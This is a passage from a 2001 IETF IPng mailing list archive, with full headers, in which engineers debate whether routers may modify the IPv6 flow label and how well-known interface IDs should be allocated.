Dec 2001 19:37:55 -0500 Received: from txc.com by jade.txc.com (SMI-8.6/SMI-SVR4) id TAA28749; Thu, 20 Dec 2001 19:37:52 -0500 Message-ID: <3C228433.BA41F741@txc.com> Date: Thu, 20 Dec 2001 19:37:07 -0500 From: Alex Conta X-Mailer: Mozilla 4.77 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Brian E Carpenter CC: Robert Elz , jarno.rajahalme@nokia.com, ipng@sunroof.eng.sun.com Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt References: <3C21BB0A.F90B8DD7@hursley.ibm.com> <009CA59D1752DD448E07F8EB2F91175719808E@esebe004.NOE.Nokia.com> <2932.1008847513@brandenburg.cs.mu.OZ.AU> <3C21D9DC.82D00BB8@hursley.ibm.com> Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------msCD3AEEEBB9385556475901A3" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk This is a cryptographically signed message in MIME format. --------------msCD3AEEEBB9385556475901A3 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit The flow label, as defined in the draft, eliminates the need of infrastructure devices to snoop at transport (end-to-end) headers. This is a big achievement: after all, the Network should not process anything beyond the network headers. Host-to-host headers are for processing at source and destination. IPv6 is so generous that it gives us the Destination Options, if we want end-to-end in network layer headers. Final destination hosts will process anyway IPv6 Destination Headers, and transport (host-to-host, or end-to-end) headers. Those headers can carry anything that a source host may mean to send to the final destination, with no touching by forwarding engines. Not to be misunderstood: I am not against end-nodes using the flow label. But that use should mold onto, or piggy-back on a use, or onto a definition that favors or is important to the Network. It would be wrong to do it the other way around, that is to have the flow label use in the Network, piggy-back on host-to-host functions, or definition. So, I think we should be careful and not go too far, with an end-to-end emphasis, that is, restricting the flow label just because of the possible end-node use, to the detriment of possible use in Network (infrastructure) devices. This philosophy guided the original definition of the flow label, reflected in the AH definition, and I agreed then and I agree now with it. Regards, Alex Brian E Carpenter wrote: > > Robert Elz wrote: > ... > > So I'm not sure it is quite true to say that it would never make sense > > for an ISP to do this (including putting the label back on exit) - but > > as long as the label received is the same as the label transmitted, > > there's no way to tell what is going on inside there, nor is there > > any reason for anyone to care. > > I won't argue the point (I think I can prove my assertion that a shim > is the only safe solution, but the margin of this email is too small:). > In practice we agree: the document should say that the flow label > delivered to the destination must be identical to that set at the source. > It's redundant to say any more. > > Brian > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- --------------msCD3AEEEBB9385556475901A3 Content-Type: application/x-pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" Content-Description: S/MIME Cryptographic Signature MIIKQwYJKoZIhvcNAQcCoIIKNDCCCjACAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC B88wggSZMIIEAqADAgECAhBT22tjRO5Ts9MONqotvZFxMA0GCSqGSIb3DQEBBAUAMIHMMRcw FQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29y azFGMEQGA1UECxM9d3d3LnZlcmlzaWduLmNvbS9yZXBvc2l0b3J5L1JQQSBJbmNvcnAuIEJ5 IFJlZi4sTElBQi5MVEQoYyk5ODFIMEYGA1UEAxM/VmVyaVNpZ24gQ2xhc3MgMSBDQSBJbmRp dmlkdWFsIFN1YnNjcmliZXItUGVyc29uYSBOb3QgVmFsaWRhdGVkMB4XDTAxMTAwOTAwMDAw MFoXDTAyMTAwNDIzNTk1OVowggELMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UE CxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazFGMEQGA1UECxM9d3d3LnZlcmlzaWduLmNvbS9y ZXBvc2l0b3J5L1JQQSBJbmNvcnAuIGJ5IFJlZi4sTElBQi5MVEQoYyk5ODEeMBwGA1UECxMV UGVyc29uYSBOb3QgVmFsaWRhdGVkMTMwMQYDVQQLEypEaWdpdGFsIElEIENsYXNzIDEgLSBO ZXRzY2FwZSBGdWxsIFNlcnZpY2UxEzARBgNVBAMUCkFsZXggQ29udGExHTAbBgkqhkiG9w0B CQEWDmFjb250YUB0eGMuY29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC8pEA2sjg+ 0ynE9D2vtcBuy/TmA2NI6bhBQgSgmdHLYsI4ICXjR/im0tPg5Uc4BqnlFtf7U96XRalPp6a9 d6RAqwODEfrMo+UgOBwB5Ge+1DwrATDK5g1ycUmab1FCE/oCWKWp7ttKF01iFPMnv6X359uj pSYWP3pvNdr7JoA0+wIDAQABo4IBODCCATQwCQYDVR0TBAIwADCBrAYDVR0gBIGkMIGhMIGe BgtghkgBhvhFAQcBATCBjjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cudmVyaXNpZ24uY29t L0NQUzBiBggrBgEFBQcCAjBWMBUWDlZlcmlTaWduLCBJbmMuMAMCAQEaPVZlcmlTaWduJ3Mg Q1BTIGluY29ycC4gYnkgcmVmZXJlbmNlIGxpYWIuIGx0ZC4gKGMpOTcgVmVyaVNpZ24wEQYJ YIZIAYb4QgEBBAQDAgeAMDAGCmCGSAGG+EUBBgcEIhYgMjUzMTYxNzA3NGE1YTU1NzkzYzdl ODQyNjYxMjUwMjYwMwYDVR0fBCwwKjAooCagJIYiaHR0cDovL2NybC52ZXJpc2lnbi5jb20v Y2xhc3MxLmNybDANBgkqhkiG9w0BAQQFAAOBgQA0yPwnlaV3opZRses+UaAskkrPGC0jXwsu 7PKoN3dTKAd9UlWmZU1CBA3ZuoSGymYR+BLLDYdaLOJjKS3eWD5Xr5ips7id3QankOYYGwKO DoHj5EcX/VBCewZ1r54Py3WehHZ08/h/HVOaQDZNOUK6331mZJBXcYwlk71xgTPuPTCCAy4w ggKXoAMCAQICEQDSdi6NFAw9fbKoJV2v7g11MA0GCSqGSIb3DQEBAgUAMF8xCzAJBgNVBAYT AlVTMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjE3MDUGA1UECxMuQ2xhc3MgMSBQdWJsaWMg UHJpbWFyeSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw05ODA1MTIwMDAwMDBaFw0wODA1 MTIyMzU5NTlaMIHMMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMWVmVyaVNp Z24gVHJ1c3QgTmV0d29yazFGMEQGA1UECxM9d3d3LnZlcmlzaWduLmNvbS9yZXBvc2l0b3J5 L1JQQSBJbmNvcnAuIEJ5IFJlZi4sTElBQi5MVEQoYyk5ODFIMEYGA1UEAxM/VmVyaVNpZ24g Q2xhc3MgMSBDQSBJbmRpdmlkdWFsIFN1YnNjcmliZXItUGVyc29uYSBOb3QgVmFsaWRhdGVk MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC7WkSKBBa7Vf0DeootlE8VeDa4DUqyb5xU v7zodyqdufBou5XZMUFweoFLuUgTVi3HCOGEQqvAopKrRFyqQvCCDgLpL/vCO7u+yScKXbaw NkIztW5UiE+HSr8Z2vkV6A+HthzjzMaajn9qJJLj/OBluqexfu/J2zdqyErICQbkmQIDAQAB o3wwejARBglghkgBhvhCAQEEBAMCAQYwRwYDVR0gBEAwPjA8BgtghkgBhvhFAQcBATAtMCsG CCsGAQUFBwIBFh93d3cudmVyaXNpZ24uY29tL3JlcG9zaXRvcnkvUlBBMA8GA1UdEwQIMAYB Af8CAQAwCwYDVR0PBAQDAgEGMA0GCSqGSIb3DQEBAgUAA4GBAIi4Nzvd2pQ3AK2qn+GBAXEe kmptL/bxndPKZDjcG5gMB4ZbhRVqD7lJhaSV8Rd9Z7R/LSzdmkKewz60jqrlCwbe8lYq+jPH vhnXU0zDvcjjF7WkSUJj7MKmFw9dWBpJPJBcVaNlIAD9GCDlX4KmsaiSxVhqwY0DPOvDzQWi kK5uMYICPDCCAjgCAQEwgeEwgcwxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQL ExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMUYwRAYDVQQLEz13d3cudmVyaXNpZ24uY29tL3Jl cG9zaXRvcnkvUlBBIEluY29ycC4gQnkgUmVmLixMSUFCLkxURChjKTk4MUgwRgYDVQQDEz9W ZXJpU2lnbiBDbGFzcyAxIENBIEluZGl2aWR1YWwgU3Vic2NyaWJlci1QZXJzb25hIE5vdCBW YWxpZGF0ZWQCEFPba2NE7lOz0w42qi29kXEwCQYFKw4DAhoFAKCBsTAYBgkqhkiG9w0BCQMx CwYJKoZIhvcNAQcBMBwGCSqGSIb3DQEJBTEPFw0wMTEyMjEwMDM3MDlaMCMGCSqGSIb3DQEJ BDEWBBQtT9PgLqvJ0wABj9R9KDSEJjhAaDBSBgkqhkiG9w0BCQ8xRTBDMAoGCCqGSIb3DQMH MA4GCCqGSIb3DQMCAgIAgDAHBgUrDgMCBzANBggqhkiG9w0DAgIBQDANBggqhkiG9w0DAgIB KDANBgkqhkiG9w0BAQEFAASBgHg/gtfX/w1DDtgnbuzT3HCrL5ixpjL5MkG/Q0rTXSqeSLAo Ee12TmhF9FBKujcIpkqexTYeqQpOeOxcfr2siVNmbXbM5mVg3tzFPPc+SJR+PxWagn8MP14l BehMgKFeMFbl7Tc4GEO+NBg12GWkOj9/lkN7oRqNh0bbQnhjqszR --------------msCD3AEEEBB9385556475901A3-- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 21 00:54:57 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBL8svZR029709 for ; Fri, 21 Dec 2001 00:54:57 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBL8suEc029708 for ipng-dist; Fri, 21 Dec 2001 00:54:56 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBL8srZR029701 for ; Fri, 21 Dec 2001 00:54:53 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id AAA24561 for ; Fri, 21 Dec 2001 00:54:55 -0800 (PST) Received: from laposte.enst-bretagne.fr (laposte.enst-bretagne.fr [192.108.115.3]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id BAA03908 for ; Fri, 21 Dec 2001 01:54:54 -0700 (MST) Received: from rsm.rennes.enst-bretagne.fr (rsm.rennes.enst-bretagne.fr [192.44.77.1]) by laposte.enst-bretagne.fr (8.11.6/8.11.6) with ESMTP id fBL8spI25336; Fri, 21 Dec 2001 09:54:51 +0100 Received: from givry.rennes.enst-bretagne.fr (givry.rennes.enst-bretagne.fr [193.52.74.194]) by rsm.rennes.enst-bretagne.fr (8.8.8/8.8.8) with ESMTP id JAA01196; Fri, 21 Dec 2001 09:54:51 +0100 (MET) Received: from givry.rennes.enst-bretagne.fr (localhost.rennes.enst-bretagne.fr [127.0.0.1]) by givry.rennes.enst-bretagne.fr (8.11.3/8.11.3) with ESMTP id fBL8soD67963; Fri, 21 Dec 2001 09:54:51 +0100 (CET) (envelope-from dupont@givry.rennes.enst-bretagne.fr) Message-Id: <200112210854.fBL8soD67963@givry.rennes.enst-bretagne.fr> From: Francis Dupont To: Matt Crawford cc: ipng@sunroof.eng.sun.com Subject: Re: well-known Interface IDs In-reply-to: Your message of Thu, 20 Dec 2001 10:00:19 CST. <200112201600.fBKG0Jl24910@gungnir.fnal.gov> Date: Fri, 21 Dec 2001 09:54:50 +0100 X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk In your previous mail you wrote: > I don't agree that we need to organize the space, but if everyone > insists on going down this rat-hole then at least use the IANA > allocated OUI 00-00-5E like ISATAP is doing. This will avoid the > collision problems, plus make it clear who does the allocation and > tracking if it wasn't already. Which would be :0200:5eXX:XXYY:YYYY in IPv6 interface id form. The XXXX portion need not be equal to fffe (but should not be ffff). => I object: these IIDs are globally unique and in the same time there are known to be *not* unique at all if there are no constraint on XXXXYYYYYY (and such a constraint shall defeat the "well-known" purpose). Regards Francis.Dupont@enst-bretagne.fr -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 21 02:56:59 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLAuxZR000034 for ; Fri, 21 Dec 2001 02:56:59 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBLAuwni000033 for ipng-dist; Fri, 21 Dec 2001 02:56:58 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLAuqZR000018; Fri, 21 Dec 2001 02:56:52 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA08266; Fri, 21 Dec 2001 02:56:54 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id DAA29992; Fri, 21 Dec 2001 03:56:53 -0700 (MST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id LAA12480; Fri, 21 Dec 2001 11:56:51 +0100 Received: from dhcp23-128.zurich.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA47690 from ; Fri, 21 Dec 2001 11:56:49 +0100 Message-Id: <3C231572.7C59091F@hursley.ibm.com> Date: Fri, 21 Dec 2001 11:56:50 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: Pekka Savola Cc: "Fred L. Templin" , Vladislav Yasevich , ngtrans@sunroof.eng.sun.com, ipng@sunroof.eng.sun.com Subject: Re: (ngtrans) remote netaccess-threats via automatic tunneling References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Pekka Savola wrote: > > This is getting too implementation-specific, so I guess we had better kill > this thread, at least from here... In fact, it would be a fundamental error to make protocol choices on the basis of perceived implementation glitches in today's popular operating systems. If we do the "right thing", one of these days the o/s will catch up. That doesn't deny the value of informational documents about today's implementation issues, especially security threats. Brian -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 21 03:06:04 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLB64ZR000100 for ; Fri, 21 Dec 2001 03:06:04 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBLB64H7000099 for ipng-dist; Fri, 21 Dec 2001 03:06:04 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLB60ZR000085 for ; Fri, 21 Dec 2001 03:06:00 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA24544 for ; Fri, 21 Dec 2001 03:06:00 -0800 (PST) Received: from brandenburg.cs.mu.OZ.AU (96-1.nat.psu.ac.th [202.28.96.1]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id EAA11655 for ; Fri, 21 Dec 2001 04:06:22 -0700 (MST) Received: from brandenburg.cs.mu.OZ.AU (localhost [127.0.0.1]) by brandenburg.cs.mu.OZ.AU (8.11.0/8.11.0) with ESMTP id fBLB3fa02373; Fri, 21 Dec 2001 18:03:41 +0700 (ICT) From: Robert Elz To: "Hesham Soliman (ERA)" cc: jarno.rajahalme@nokia.com, Francis.Dupont@enst-bretagne.fr, brian@hursley.ibm.com, ipng@sunroof.eng.sun.com Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt In-Reply-To: <4DA6EA82906FD511BE2F00508BCF053801C4C16C@Esealnt861.al.sw.ericsson.se> References: <4DA6EA82906FD511BE2F00508BCF053801C4C16C@Esealnt861.al.sw.ericsson.se> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 21 Dec 2001 18:03:41 +0700 Message-ID: <2371.1008932621@brandenburg.cs.mu.OZ.AU> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Date: Thu, 20 Dec 2001 17:16:58 +0100 From: "Hesham Soliman (ERA)" Message-ID: <4DA6EA82906FD511BE2F00508BCF053801C4C16C@Esealnt861.al.sw.ericsson.se> | I was arguing | against letting the default routers set the | flow label and I was saying that 'it' (setting | the flow label by default routers) should not | be allowed, or at least not unless somehow | it's restored before the packet is delivered to | the receiver, as per draft-rajahame.... Well, the draft, as it exists now at least, allows for just the opposite (in 2 specific cases). Certainly allowing any more than the two it allows would not be agreeable with me, but I'm not certain that I can see a reason to expressly prohibit those two. Which isn't to say that I can think of a good reason to support them either - other than that I don't like to prohibit something for no better reason than that I don't understand it. | => Well the assumption here of course is that | applications know nothing about the flow label, | which is fair, considering that it has not been | defined yet. However, once it is defined, I can't | see why we can't add it to the API and allow it | to be set by the applications. Of course. I haven't gone to check, but I'd be surprised if the API isn't already there - just unused as no-one knows how to use it yet. But once applications exist, and work (for some definition of work) getting them all upgraded to use new functionality is a very difficult thing to achieve. | Alternatively another part of the stack may also choose to set it. Yes. But don't you see how similar this is to having a router set it? In either case, it won't (shouldn't) be altered if it has been explicitly set by the application, but assuming the existence of a "not set to anything" or if you like "I don't care" value (which is the 0 value currently), if there some particular reason it makes a big difference whether something down the stack change it, or whether a router does? In either case, when the packet arrives at the destination application, it has been changed. Of course, once altered by anyone, it is no longer at the "unset" value, and can never be altered again (the other "explicit permission" exception assumed not to apply) | => So I guess you're arguing for allowing the | case where routers can modify the flow label | from zero to X. But should we then force them | to set it back to Zero again ? Yes, that's it - though "arguing for" is perhaps too strong, "arguing against prohibiting" would be better. And I can't imagine why. | I'm just wondering if there will be any confusion | if the receiver gets a flow label set to X when | the sending node didn't intend to set/use the | flow label at all. I can't think of any reason why it should - I can imagine a receiving node requiring a flow label to have been set, if it wants to believe that some specific service quality is somehow being delivered to it, which an unset label would pretty much guarantee isn't happening, but I can't imagine why it would care that it explicitly wasn't getting anything special. That is, I wouldn't often expect SMTP senders to set flow IDs for most mail - but nor would I expect a SMTP receiver to object if some sender decided its mail should get some special treatment. In general, Tony Hain's arguments are pretty persuasive to me ... but I am not sure that I would go as far as to prohibit all changes to the label - though the only ones I would allow are where the source has explicitly said that changes are OK (which an initial label of 0, or we could reserve FFFFF for the purpose, could be defined to do, and some flow state setup mechanism could also do). Also, everyone please note, just in case it isn't already clear. When anyone says the field needs to be immutable (in this case anyway), it isn't (really) because anyone cares what value is delivered to the recipient node - it is that we want to know what value will be observed as the packet passes through each routing domain along the path. That's important. It just happens that this is equivalent to saying that the field must not be modified (perhaps with some specific exceptions). Lastly, wrt Margaret's question/suggestion - I think that the IPv6 group needs to define the basic parameters of the field. If that isn't done there are no guidelines for others to use to know what they can and cannot assume. In particular, there's nothing to prevent incompatible specs for the use of the field being developed - ones so incompatible that there's no way to accommodate both in the internet (and yet perhaps no global way to prefer one over the other). So, I certainly feel it is appropriate for this WG to say whether, and if so when, this field can be modified by routers along the path. kre -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 21 03:09:02 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLB91ZR000200 for ; Fri, 21 Dec 2001 03:09:02 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBLB91ZW000199 for ipng-dist; Fri, 21 Dec 2001 03:09:01 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLB8wZR000189 for ; Fri, 21 Dec 2001 03:08:58 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA24794 for ; Fri, 21 Dec 2001 03:08:58 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id DAA27956 for ; Fri, 21 Dec 2001 03:08:57 -0800 (PST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id MAA09168; Fri, 21 Dec 2001 12:08:55 +0100 Received: from dhcp23-128.zurich.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA32104 from ; Fri, 21 Dec 2001 12:08:49 +0100 Message-Id: <3C231841.CB665CA5@hursley.ibm.com> Date: Fri, 21 Dec 2001 12:08:49 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: Margaret Wasserman Cc: Tony Hain , ipng@sunroof.eng.sun.com Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt References: <4.2.2.20011220104605.024d1150@mail.windriver.com> <4.2.2.20011220133537.024a12e0@mail.windriver.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Margaret Wasserman wrote: ... > >Hosts or routers that do not support the functions of the Flow Label > >field are required to set the field to zero when originating a packet, > >and ignore the field when receiving a packet. All routers are required > >to pass the field on unchanged when forwarding a packet. > > Why would we want to restrict possible flow-management mechanisms in > this (somewhat arbitrary) way? I think that the question of whether > the flow label can be modified en route should be left to the > specific flow-management mechanism. As I said before, this is broken. There is no magic by which all routers along the path can know which mechanism applies to which; the only way to construct workable solutions is with an immutable label. If you want something mutable, use the DSCP. Brian -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 21 03:09:56 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLB9uZR000227 for ; Fri, 21 Dec 2001 03:09:56 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBLB9uud000226 for ipng-dist; Fri, 21 Dec 2001 03:09:56 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLB9qZR000216 for ; Fri, 21 Dec 2001 03:09:52 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA09726 for ; Fri, 21 Dec 2001 03:09:52 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id EAA02820 for ; Fri, 21 Dec 2001 04:09:51 -0700 (MST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id MAA09176; Fri, 21 Dec 2001 12:09:50 +0100 Received: from dhcp23-128.zurich.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA13434 from ; Fri, 21 Dec 2001 12:09:48 +0100 Message-Id: <3C23187C.CA728193@hursley.ibm.com> Date: Fri, 21 Dec 2001 12:09:48 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: Margaret Wasserman Cc: Tony Hain , ipng@sunroof.eng.sun.com Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt References: <4.2.2.20011220104605.024d1150@mail.windriver.com> <4.2.2.20011220133537.024a12e0@mail.windriver.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Margaret Wasserman wrote: ... > >Hosts or routers that do not support the functions of the Flow Label > >field are required to set the field to zero when originating a packet, > >and ignore the field when receiving a packet. All routers are required > >to pass the field on unchanged when forwarding a packet. > > Why would we want to restrict possible flow-management mechanisms in > this (somewhat arbitrary) way? I think that the question of whether > the flow label can be modified en route should be left to the > specific flow-management mechanism. As I said before, this is broken. There is no magic by which all routers along the path can know which mechanism applies to which packet; the only way to construct workable solutions is with ^^^^^^ an immutable label. If you want something mutable, use the DSCP. Brian -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 21 03:13:15 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLBDFZR000270 for ; Fri, 21 Dec 2001 03:13:15 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBLBDFeL000269 for ipng-dist; Fri, 21 Dec 2001 03:13:15 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLBDCZR000262 for ; Fri, 21 Dec 2001 03:13:12 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA13141 for ; Fri, 21 Dec 2001 03:13:12 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id DAA26501 for ; Fri, 21 Dec 2001 03:13:11 -0800 (PST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id MAA12304; Fri, 21 Dec 2001 12:13:08 +0100 Received: from dhcp23-128.zurich.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA53238 from ; Fri, 21 Dec 2001 12:13:03 +0100 Message-Id: <3C231940.58C94FAA@hursley.ibm.com> Date: Fri, 21 Dec 2001 12:13:04 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: 